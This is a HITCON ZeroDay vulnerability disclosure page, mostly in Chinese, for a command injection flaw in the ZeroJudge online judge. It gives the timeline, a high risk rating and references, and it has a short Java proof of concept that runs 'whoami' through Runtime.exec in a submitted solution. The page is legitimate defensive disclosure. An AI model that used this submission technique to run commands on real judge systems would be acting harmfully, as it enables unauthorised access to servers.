ZeroJudge 高中生程式解題系統存在Command Injection漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00044
  •  發信 Vendor: ZeroJudge
  • Title: ZeroJudge 高中生程式解題系統存在Command Injection漏洞
  • Introduction: 使用者可以執行任意shell指令
  • 感謝函

處理狀態

目前狀態

公開
Last Update : 2025/03/25
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/01/09 04:37:44 : 新提交 (由 110502508 更新此狀態)
  • 2025/01/10 13:43:26 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/01/17 13:04:08 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/01/17 13:04:08 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/01/17 13:04:08 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/03/25 03:00:35 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00044
  • 通報者:WhiteHoodie_ (110502508)
  • 風險:高
  • 類型:指令注入攻擊 (Command Injection)

參考資料

攻擊者可經由該漏洞執行任意系統指令,取得系統權限,同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
https://cwe.mitre.org/data/definitions/77.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://zerojudge.tw/ShowProblem?problemid=a001

敘述

登入後選擇任一題目,選擇 Java, 繳交以下程式

import java.io.*;

public class Main {
    public static void main(String[] args) {
        try {
            Process process = Runtime.getRuntime().exec("whoami");
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
            process.waitFor();
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}

發現可以執行 shell 指令

修補建議

停止對不受信任的輸入使用 Runtime.getRuntime().exec(userInput),或使用白名單方法只允許使用者輸入作為預定義命令的參數。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;